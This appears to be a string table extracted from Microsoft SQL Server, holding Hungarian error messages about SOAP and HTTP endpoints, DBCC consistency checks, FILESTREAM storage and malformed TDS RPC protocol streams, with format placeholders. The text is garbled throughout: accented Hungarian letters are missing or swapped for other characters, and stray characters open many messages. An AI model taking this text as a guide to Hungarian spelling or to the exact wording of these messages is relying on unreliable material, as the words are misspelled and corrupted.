A(z)  %1!s!  vgpont ltal megadott URL-cm mr be van jegyezve krelmek fogadsra, vagy le van foglalva ms szolgltats szmra.

Hiba trtnt ( 0x%1!s! ) a(z)  %2!s!  vgpont bejegyzsnek ksrlete kzben.

A(z)  %1!s!  rtk a(z)  %2!s!  paramter tartomnyn kvl esik.

A COMPUTE BY lekrdezsek nem tmogatottak a SOAP protokollon.

A PATH paramtert a kanonikus formjban kell megadni. A PATH elfogadhat formja pldul  %1!s! .

`IsmtlQdQ paramter lett megadva:  %1!s! .

A Base64-kdols bemeneti adatok helytelenl vannak formzva a(z)  %1!s!  paramter szmra.

A krelem tllp egy belsQ hatrrtket. Egyszerqstse a krelmet, vagy cskkentse a mrett.

A SOAP-metdus  %1!s!  objektumt teljesen minQstett hromrszes nv hasznlatval kell megadni.

A(z)  %1!s!  kezdetq SOAP-nvterek nem engedlyezettek, mert a rendszer szmra vannak fenntartva.

A rendszer vratlan  %1!s!  XML-csompontot (nvtr:  %2!s! ) tallt a SOAP-krelem  %3!s!  elemben (nvtr:  %4!s! ).

A rendszer a(z)  %1!s!  XML-elemet (nvtr:  %2!s! ) vrta a SOAP-krelem  %3!s!  elemben (nvtr:  %4!s! ).

A rendszer a(z)  %1!s!  XML-elemet (nvtr:  %2!s! ) vrta a SOAP-krelem legfelsQ szintq csompontjaknt.

A rendszer egy SOAP-metdus elemt vrta a SOAP-krelem  %1!s!  elemben (nvtr:  %2!s! ).

A rendszer nem vrt karakteres adatot tallt a SOAP-krelem  %1!s!  elemben (nvtr:  %2!s! ).

A felhasznlnak nincs engedlye a HTTP-nvterek lefoglalshoz s a lefoglalsuk feloldshoz.

Az utasts nem tmogatott az opercis rendszer jelen verzijban. A Httpapi.dll nem tallhat az elrsi tban.

 Az utasts nem tmogatott az opercis rendszer jelen verzijban. A fggvny  %1!s!  belpsi pontja nem tallhat a Httpapi.dll fjlban.

tNem vrt hiba miatt nem lehet befejezni a mqveletet.

tMr ltezik foglals ehhez a HTTP-nvtrhez (%1!s!).

tNem ltezik foglals ehhez a HTTP-nvtrhez (%1!s!).

A HTTP-nvtr (%1!s!) formtuma rvnytelen. A nvteret a kanonikus formjban adja meg.

A(z)  %1!s!  vgpont le lett tiltva, mert nem biztonsgosan van konfigurlva. A rszletes tjkoztats megjelentshez prblja meg elindtani a vgpontot az ALTER ENDPOINT utasts hasznlatval.

Helyrellthatatlan hiba trtnt a hlzatrl rkezQ bemeneti adatfolyam olvassa kzben. A hlzati csomagok egy krelemben engedlyezett maximlis szma tl lett lpve. Prblja meg a tmeges beszrs hasznlatt, a hlzati csomagok mretnek nvelst vagy a krelem mretnek cskkentst. A munkamenet befejezQdik.

A rendszer XML-adatokat tallt a(z)  %1!s!  paramterben, amely nem XML-paramter. Alaktsa t entitsra a paramterben tallhat rvnytelen XML-karaktereket, illetve XSD:anyType vagy sqltypes:xml tpusknt adja t a paramtert.

A(z)  %1!s!  paramterhez megadott localeId terletazonost rvnytelen vagy nem tmogatott.

A(z)  %1!s!  paramterhez megadott sqlCompareOptions szmbavtel rvnytelen.

Az SQL Server szolgltatsfikja nem rendelkezik engedllyel a(z)  %1!s!  vgponton megadott URL-cm bejegyzshez. Az URL-cm jbli bejegyzse elQtt az sp_reserve_http_namespace trolt eljrs hasznlatval explicit mdon foglalja le az URL-nvteret.

A(z) %1!s! attribtumot meg kell adni a(z)  %3!s!  paramter %2!s! elemnl, mert a paramter %4!s! tpus.

H %1!s!  paramter: Ha a(z) %2!s! attribtum  %3!s!  tpus paramterrtk-csompontban jelenik meg (nvtr:  %4!s! ), akkor CLR-beli tpusra kell hivatkoznia.

Az elrsi tknt megadott URL-cm ( %1!s! ) nem abszolt formtumban van, s  %2!s!  kezdetqnek kell lennie.

|A(z)  %1!s!  paramterhez megadott URL-rtk tl hossz.

pNem sikerlt olvasni a bemeneti HTTP-adatfolyambl.

Az XML-paramterek nem tmogatjk a nem Unicode tpus elemeket vagy attribtumrtkeket.

 %1!s!  paramter: A helytelenl formzott vagy elavult nevq fggvny- vagy eljrsparamterek nem tmogatottak a natv SOAP-elrs esetn. A paramterek helyes elnevezsre vonatkoz szablyokrl a dokumentciban tjkozdhat.

A SOAP-krelem  %3!s!  elemben (nvtr:  %4!s! ) lvQ  %1!s!  XML-elem (nvtr:  %2!s! ) rvnytelen binris tpust tartalmazott.

 %1!s!  paramter: A paramter rendezse nem adhat meg a(z)  %2!s!  csompontban (nvtr:  %3!s! ).

|A vgpontok tvitele vagy tartalma nem vltoztathat meg az ALTER ENDPOINT utastssal. Az ilyen vltoztatsok vgrehajtshoz hasznlja a DROP ENDPOINT s a CREATE ENDPOINT utastst.

A(z)  %1!s!  vgpontok csak  FOR %2!s!  tpusak lehetnek.

Mr ltezik vgpont a krt tpussal. Csak egy ilyen tpus vgpont tmogatott. Hajtsa vgre az ALTER ENDPOINT vagy a DROP utastst a meglvQ vgponton, majd hajtsa vgre a CREATE ENDPOINT utastst.

A vgpont nem vltozott meg. Az ALTER ENDPOINT utasts nem tartalmazott mdosthat vagy frissthetQ rtket.

DA CREATE/ALTER ENDPOINT utasts nem hasznlhat a vgpont frisstshez ezekkel az adatokkal. A dediklt rendszergazdai kapcsolat foglalt, nem frissthetQ.

Nem sikerlt a webszolgltatsok ler nyelvnek (WSDL) ltrehozsa, mert a rendszer nem tudta lekrdezni a vgpont metaadatait.

4000 karakternl hosszabb XML-attribtumrtkek s -elemrtkek csak a SOAP-trzscsompontban engedlyezettek.

A(z)  %1!s!  paramterhez megadott sqlCollationVersion attribtum rvnytelen.

A(z)  %1!s!  paramterhez megadott sqlSortId attribtum rvnytelen.

A(z)  %1!s!  vgpontnv az SQL ltali hasznlatra van lefoglalva. A vgpontnevek kezdete nem lehet  %2!s! .

Az AFFINITY zradk nem tmogatott az ilyen tpus vgpontoknl.

A(z)  %1!s!  zradk nem rvnyes ennl a vgponttpusnl.

A(z)  %1!s!  nem a(z)  %2!s!  eljrs paramtere, vagy nem a sorrendnek megfelelQen van megadva.

pA(z)  %1!s!  vgpont beptett vgpont, nem dobhat el. Hasznlja a protokollkonfigurl segdprogramokat, ha ADD vagy DROP eljrst kvn vgrehajtani a Transact-SQL vgpontokon.

Mr szerepel vgpont a megadott ktsekben. Adott ktshez csak egy vgpont tmogatott. Hajtsa vgre az ALTER ENDPOINT vagy a DROP utastst a meglvQ vgponton, s hajtsa vgre a CREATE ENDPOINT utastst.

Nem vrt XML-konstruktor tallhat a SOAP-krelem  %1!s!  elemnek (nvtr:  %2!s! ) karakteres adataiban.

Ez a(z)  %1!s! ENDPOINT  utasts nem tmogatott az SQL Server jelen verzijban.

OUTPUT rtk krse trtnt a(z)  %1!s!  paramterhez. Ez nem tmogatott a WEBMETHOD esetn, ha annak belltsa FORMAT=NONE.

Felhasznl ltal definilt fggvnyek nem hasznlhatk olyan WEBMETHOD esetn, amelynek belltsa FORMAT=NONE.

A tabullt adatfolyamok (TDS) protokolljnak megsrtse trtnt. Ezt leggyakrabban egy elQzQ kivtel okozza ebben a feladatban. A feladatnl utoljra elQfordult kivtel a kvetkezQ volt: %1!s! (slyossg: %2!s!, cm: 0x%3!s!). A kapcsolat befejezQdik.

(0x%1!s! hlzati hiba fordult elQ az gyflnek trtnQ adatklds kzben (folyamatazonost: %2!s!, ktegazonost: %3!s!). A hibt ltalban az okozza, hogy az gyfl levlasztsa a kiszolglrl rkezQ teljes vlasz elolvassa nlkl trtnik. A kapcsolat befejezQdik.

Olvassi hiba fordult elQ egy nagymretq objektumnl az gyflnek trtnQ adatklds kzben. A hibt ltalban az okozza, hogy az alkalmazs a READ UNCOMMITTED elklntsi szinten fut. A kapcsolat befejezQdik.

A megadott IPv6-cm nem tmogatott. A figyelsnl csak a numerikus, kanonikus formjukban megadott cmek tmogatottak.

LA megadott IPv6-cm nem tmogatott. Lehetsges, hogy a kiszolgln nincs belltva az IPv6-kapcsolatok engedlyezse, vagy a cm nem felismerhetQ IPv6-formtum.

PA krelem SOAP-fejlcei tllptk a vgponthoz meghatrozott mrethatrokat. A vgpont tulajdonosa az ALTER ENDPOINT utastssal nvelheti ezeket a hatrrtkeket.

Hiba trtnt a(z)  %1!s!  vgpont bejegyzsnek ksrlete kzben. Lehetsges, hogy a CREATE ENDPOINT utastsban megadott egy vagy tbb port msik folyamathoz van ktve. Prblja meg jbl vgrehajtani az utastst ms port hasznlatval, vagy a netstat parancs hasznlatval keresse meg a portot hasznl alkalmazst, s oldja fel az tkzst.

A SOAP-krelmekben nem engedlyezettek a belsQ alkszlethez tartoz DTD-fjlok.

 %1!s!  paramter: Nem kompatibilis XML-attribtumok voltak megadva. A(z)  %2!s!  attribtum s a(z)  %3!s!  attribtum nem fordulhat elQ egyszerre a  %4!s!  tpus paramterrtk-csompontokban (nvtr:  %5!s! ).

@A figyels nem lett elindtva a metaadatokban tallt  %1!s!  vgponton. A vgpontokra vonatkoz mqveletek le vannak tiltva az SQL Server jelen verzijban.

Csak rendszergazda adhat meg egyni WSDL trolt eljrst a vgponton.

hA(z)  %1!s!  oszlop vagy paramter a SOAP ltal nem tmogatott adattpust hasznl. A SOAP csak az SQL Server 2005 s a korbbi verzik ltal tmogatott adattpusokat tmogat.

LA visszatrsi rtk a SOAP ltal nem tmogatott adattpust hasznl. A SOAP csak az SQL Server 2005 s a korbbi verzik ltal tmogatott adattpusokat tmogat.

A javtsi utasts feldolgozsa nem trtnt meg. Ez a javtsi szint nem tmogatott, ha az adatbzis vszhelyzeti mdban van.

Tblahiba: A rendszer a kvetkezQ FILESTREAM-knyvtrban tallta meg az elrvult  %1!s!  fjlt: knyvtr-azonost: %2!s!, trolazonost: %3!s!, objektumazonost: %4!s!, indexazonost: %5!s!, partciazonost: %6!s!, oszlopazonost: %7!s!.

,Tblahiba: Nem tallhat a(z)  %1!s!  FILESTREAM-fjl a(z) %2!s! azonostj oszlophoz (oszlop knyvtr-azonostja: %3!s!, trolazonost: %4!s!), objektumazonost: %5!s!, indexazonost: %6!s!, partciazonost: %7!s!, lapazonost: %8!s!, trolhely-azonost: %9!s!.

Adatbzishiba: A(z)  %1!s!  knyvtr nem rvnyes FILESTREAM-knyvtr a kvetkezQ azonostj trolhelyen: %2!s!.

Adatbzishiba: A(z)  %1!s!  fjl nem rvnyes FILESTREAM-fjl a kvetkezQ azonostj trolhelyen: %2!s!.

DTblahiba: A(z) %2!s! sorkszletknyvtr-azonosthoz tartoz  %1!s!  knyvtr nem rvnyes FILESTREAM-knyvtr a kvetkezQ azonostj trolhelyen: %3!s!.

4Tblahiba: A(z) %2!s! sorkszletknyvtr-azonosthoz tartoz  %1!s!  fjl nem rvnyes FILESTREAM-fjl a kvetkezQ azonostj trolhelyen: %3!s!.

Nem sikerlt a vszhelyzeti mdban vgzett javts. A biztonsgi msolatbl kell vgrehajtania a helyrelltst.

A javtsi utasts feldolgozsa nem trtnt meg. Az adatbzisnak egyfelhasznls zemmdban kell lennie.

A javtsi utasts feldolgozsa nem trtnt meg. Az adatbzis nem lehet pillanatkp.

***************************************************************

Az ellenQrzsi utasts vgrehajtsa megszakadt. Nem lehetett ellenQrizni az adatbzist, mert nem sikerlt ltrehozni egy adatbzis-pillanatkpet, s nem lehetett zrolni az adatbzist vagy a tblt. Az online knyvekben tjkozdhat arrl, hogy mikor fordul elQ ez a mqkds, s hogyan oldhatja meg ezt a helyzetet. A tovbbi rszleteket az elQzQ hibazenetekben tallja.

Nem sikerlt ltrehozni az adatbzis pillanatkpt az online ellenQrzshez. Ennek egyik lehetsges oka az elQzQ hibazenetben szerepel. A msik ok az lehet, hogy az alapul szolgl ktetek nem tmogatjk a ritka fjlokat s a msodlagos adatfolyamot. A rendszer kizrlagos hozzfrst prbl szerezni az ellenQrzsek offline futtatshoz.

Az ellenQrzsi utasts vgrehajtsa megszakadt. Az adatbzis ksleltetett tranzakcikat tartalmaz.

El kell tvoltani a tkrzst az adatbzisbl ehhez a DBCC utastshoz.

Adatbzishiba: Egy partci %1!s! FILESTREAM knyvtr-azonostja ktszer fordult elQ. 

Tblahiba: A(z) %2!s! azonostj objektumhoz, %3!s! azonostj indexhez, %4!s! azonostj partcihoz tartoz, %1!s! azonostj FILESTREAM-knyvtr a(z) %5!s! fjlcsoportban szerepel, pedig a kvetkezQ fjlcsoportban kellene lennie: %6!s!.

Tblahiba: Ltezik egy %1!s! azonostj FILESTREAM-knyvtr egy partcihoz, de a megfelelQ partci nem ltezik az adatbzisban.

A DBCC CHECK utasts nem hajthat vgre a(z) %1!s! adatbzison, mert az egy msodlagos msodpldny, s vagy sikertelen volt a pillanatkp ltrehozsa, vagy meg volt adva a WITH TABLOCK bellts. A msodlagos msodpldnyknt mqkdQ adatbzisok nem zrolhatk kizrlagos mdon a DBCC CHECK utastshoz. A hiba okt esetleg az elQzQ hibazenet tartalmazza.

Tblahiba: Ltezik egy %1!s! azonostj FILESTREAM-knyvtr egy oszlophoz (objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!), de ez az oszlop nem ltezik a partciban.

Tblahiba: Ltezik a(z) %1!s! azonostj FILESTREAM-knyvtr a(z) %2!s! azonostj oszlophoz (objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!), de ez az oszlop nem FILESTREAM-oszlop.

Tblahiba: A(z) %1!s! azonostj objektum, %2!s! azonostj index, %3!s! azonostj partci feldolgozsa sorn a(z)  %4!s!  fjlnv ktszer szerepelt a kvetkezQ oszloptrban: %5!s! (trolhely-azonost: %6!s!, oszlopazonost: %7!s!). 

A(z)  %1!s!  adatbzis nem vlaszthat le, mert nem ltezik.

A rendszeradatbzisok (master, model, msdb, tempdb) nem vlaszthatk le.

Tblahiba: A(z) %1!s! azonostj objektum, %2!s! azonostj index, %3!s! azonostj partci feldolgozsa sorn a(z)  %4!s!  fjlnv ktszer szerepelt a kvetkezQ azonostj oszlopban: %5!s! (oszloptr: %6!s!, trolhely-azonost: %7!s!).

PA megadott %1!s! SPID rvnytelen.

Tblahiba: A(z) %2!s! oszlopazonosthoz tartoz  %1!s!  FILESTREAM-fjl a(z) %4!s! azonostj trol %3!s! azonostj oszlopknyvtrban tallhat, de a kvetkezQ helyen kellene lennie: trolazonost: %5!s!, objektumazonost: %6!s!, indexazonost: %7!s!, partciazonost: %8!s!, lapazonost: %9!s!, trolhely-azonost: %10!s!.

A megadott SPID nem dolgozza fel a bemeneti, illetve kimeneti adatfolyamokat.

A megadott %1!s! kiszolglfolyamat-azonost (SPID) vagy %2!s! ktegazonost rvnytelen.

Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lapazonost: %6!s!, sorazonost: %7!s!. A(z)  %8!s!  oszlop var tpus oszlop, NULL rtkkel s nem nulla adathosszsggal.

TA megadott %1!s! BATCHID rvnytelen.

Adatbzishiba: A(z)  %1!s!  fjl nem rvnyes FILESTREAM LOG fjl a kvetkezQ azonostj trolhelyen: %2!s!.

Tblahiba: Nem sikerlt ellenQrizni a(z) %1!s! azonostj objektumot (indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s!, tpus: %5!s!) az rvnytelen foglalsi (IAM) lapok miatt.

XNincsenek aktv megnyitott tranzakcik.

A(z)  %1!s!  felhasznlnak nincs engedlye a DBCC %2!s! utasts futtatsra a(z)  %3!s!  adatbzisban.

xRendszertblk elQzetes ellenQrzse: %1!s! objektumazonost. A(z) %2!s! jelq laphoz nem vrt %3!s! laptpus tartozik. Az ellenQrzQ utasts befejezQdtt egy javthatatlan hiba miatt.

Rendszertblk elQzetes ellenQrzse: %1!s! objektumazonost. Nem sikerlt olvasni s zrolni a(z) %2!s! jelq lapot a(z) %3!s! zrolsi tpussal. Az ellenQrzQ utasts befejezQdtt egy javthatatlan hiba miatt.

lRendszertblk elQzetes ellenQrzse: A(z) %1!s! objektumazonost objektumok kztti csatolsai helytelenek. A(z) %2!s! jelq lap a(z) %3!s! objektumra mutat a(z) %4!s! azonostj foglalsi egysgben (a helyes hivatkozs a(z) %5!s! lenne). Az ellenQrzQ utasts befejezQdtt egy javthatatlan hiba miatt.

Rendszertblk elQzetes ellenQrzse: A(z) %1!s! objektumazonost csatolsai helytelenek. %2!s!->kvetkezQ = %3!s!, de %4!s!->elQzQ = %5!s!. Az ellenQrzQ utasts befejezQdtt egy javthatatlan hiba miatt.

dRendszertblk elQzetes ellenQrzse: %1!s! objektumazonost. Hurok szlelhetQ az adatlncban (hely: %2!s!). Az ellenQrzQ utasts befejezQdtt egy javthatatlan hiba miatt.

Azonost adatok ellenQrzse:  %1!s!    aktulis azonostrtk.

pA csak olvashat  %1!s!  adatbzis nem tmrthetQ.

 %1!s!  adatbzis: A rendszerkatalgusok konzisztenciahibja akadlyozza a DBCC %2!s! utasts tovbbi feldolgozst.

BQvtett trolt eljrsok csak a fQadatbzisban hozhatk ltre.

hA(z)  %1!s!  nem tartalmaz azonost oszlopot.

Azonost adatok ellenQrzse:  %1!s!    aktulis azonostrtk,  %2!s!    aktulis oszloprtk.

xNem tallhat  %1!s!  nevq index a(z)  %2!s!  tblban.

LA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. A metaadatok rvnytelenek az Sql Variant paramter szmra.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen adatbzis vagy sma van megadva a kvetkezQ adattpushoz (XML): 0x%3!s!.

LA bejvQ krelem tl sok paramtert tartalmaz. A kiszolgl legfeljebb %1!s! paramtert tmogat. Cskkentse a paramterek szmt, s kldje el a krelmet jbl.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. Az RPC-nv rvnytelen.

0A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter: A paramter neve rvnytelen.

DA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter: A paramter llapotjelzQi rvnytelenek.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A csonkolsi formtum helytelen egy nagy objektumot tartalmaz, 0x%3!s! tpus paramterhez.

Az sp_execute trolt eljrsnak tadott paramterek szma nem egyezik a kezelQ elQksztsekor hasznlt paramterek szmval (%1!s!).

\A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A kvetkezQ adattpus ismeretlen: 0x%3!s!.

@A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A tvoli eljrshvs meg van jellve a vltozatlan metaadatok jelzQjvel, de a kvetkezQ adattpus eltr a legutbbi alkalommal kldtt tpustl: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus (sql_variant) hossza a tpusra vonatkoz metaadatokhoz: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus (sql_variant) pontossga vagy sklja a tpusra vonatkoz metaadatokhoz: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus (sql_variant) pldnyhossza: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus (sql_variant) tpusa a tpusra vonatkoz metaadatokhoz: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A kvetkezQ adattpus tpus nlkli NULL, de kimeneti paramterknt van megjellve: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus adathossza vagy metaadathossza: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus pontossga vagy sklja: 0x%3!s!.

rvnytelen %1!s! paramter ( %2!s! ): A(z) 0x%3!s! adattpus egy elavult nagymretq objektum (LOB), de kimeneti paramterknt van megjellve. Az elavult tpusok nem hasznlhatk kimeneti paramterknt. Hasznljon aktulis nagymretq objektumtpusokat.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen felhasznli tpus van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen a kvetkezQ adattpus (CLR-beli tpus) hossza a szerializlsi metaadatokhoz: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen adatbzis van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A megadott rtk NULL, de a kvetkezQ adattpus nem lehet NULL: %3!s!. EllenQrizze az esetleges rvnytelen rtkeket a forrsadatokban.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A megadott rtk nem a kvetkezQ adattpus rvnyes pldnya: %3!s!. EllenQrizze az esetleges rvnytelen rtkeket a forrsadatokban. Pldul rvnytelen rtk lehet egy olyan numerikus tpus adat, amelynek a sklja nagyobb, mint a pontossga.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A(z) 0x%3!s! adattpus (sql_variant) rendezse rvnytelen a tpusra vonatkoz metaadatokhoz.

`A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A tvoli eljrshvs meg van jellve a vltozatlan metaadatok jelzQjvel, de a kvetkezQ adattpus maximlis hossza eltr a legutbbi alkalommal kldtt hossztl: 0x%3!s!.

`A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A tvoli eljrshvs meg van jellve a vltozatlan metaadatok jelzQjvel, de a kvetkezQ adattpus tnyleges hossza eltr a legutbbi alkalommal kldtt hossztl: 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): rvnytelen sma van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%3!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! paramter ( %2!s! ): A megadott hossz nem rvnyes a kvetkezQ adattpushoz: %3!s!. EllenQrizze az esetleges rvnytelen hosszakat a forrsadatokban. Pldul rvnytelen hosszsg lehet egy olyan nchar tpus adat, amelynek hossza pratlan szm bjt.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A rendszer vratlan lexiklis elemet szlelt egy tbla rtkq paramter feldolgozsakor a kvetkezQ adattpushoz (felhasznl ltal definilt tblatpus): 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen adatbzis vagy sma van megadva a kvetkezQ adattpushoz (XML): 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A csonkolsi formtum helytelen egy nagy objektumot tartalmaz, 0x%5!s! adattpus paramterhez.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A kvetkezQ adattpus ismeretlen: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus (sql_variant) hossza a tpusra vonatkoz metaadatokhoz: 0x%5!s!.

@A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus (sql_variant) pontossga vagy sklja a tpusra vonatkoz metaadatokhoz: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus (sql_variant) pldnyhossza: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus (sql_variant) tpusa a tpusra vonatkoz metaadatokhoz: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus adathossza vagy metaadathossza: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus pontossga vagy sklja: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen felhasznli tpus van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen a kvetkezQ adattpus (CLR-beli tpus) hossza a szerializlsi metaadatokhoz: 0x%5!s!.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen adatbzis van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%5!s!.

hA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A megadott rtk NULL, de a kvetkezQ adattpus nem lehet NULL: %5!s!. EllenQrizze az esetleges rvnytelen rtkeket a forrsadatokban.

DA bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A megadott rtk nem a kvetkezQ adattpus rvnyes pldnya: %5!s!. EllenQrizze az esetleges rvnytelen rtkeket a forrsadatokban. Pldul rvnytelen rtk lehet egy olyan numerikus tpus adat, amelynek a sklja nagyobb, mint a pontossga.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. Tbla rtkq paramter: %1!s! ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A(z) 0x%5!s! adattpus (sql_variant) rendezse rvnytelen a tpusra vonatkoz metaadatokhoz.

A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: rvnytelen sma van megadva a kvetkezQ adattpushoz (CLR-beli tpus): 0x%5!s!.

(A bejvQ tabullt adatfolyam (TDS) tvoli eljrshvsi (RPC) protokolljnak adatfolyama helytelen. %1!s! tbla rtkq paramter ( %2!s! ), sor: %3!s!, oszlop: %4!s!: A megadott hossz nem rvnyes a kvetkezQ adattpushoz: %5!s!. EllenQrizze az esetleges rvnytelen hosszakat a forrsadatokban. Pldul rvnytelen hosszsg lehet egy olyan nchar tpus adat, amelynek hossza pratlan szm bjt.

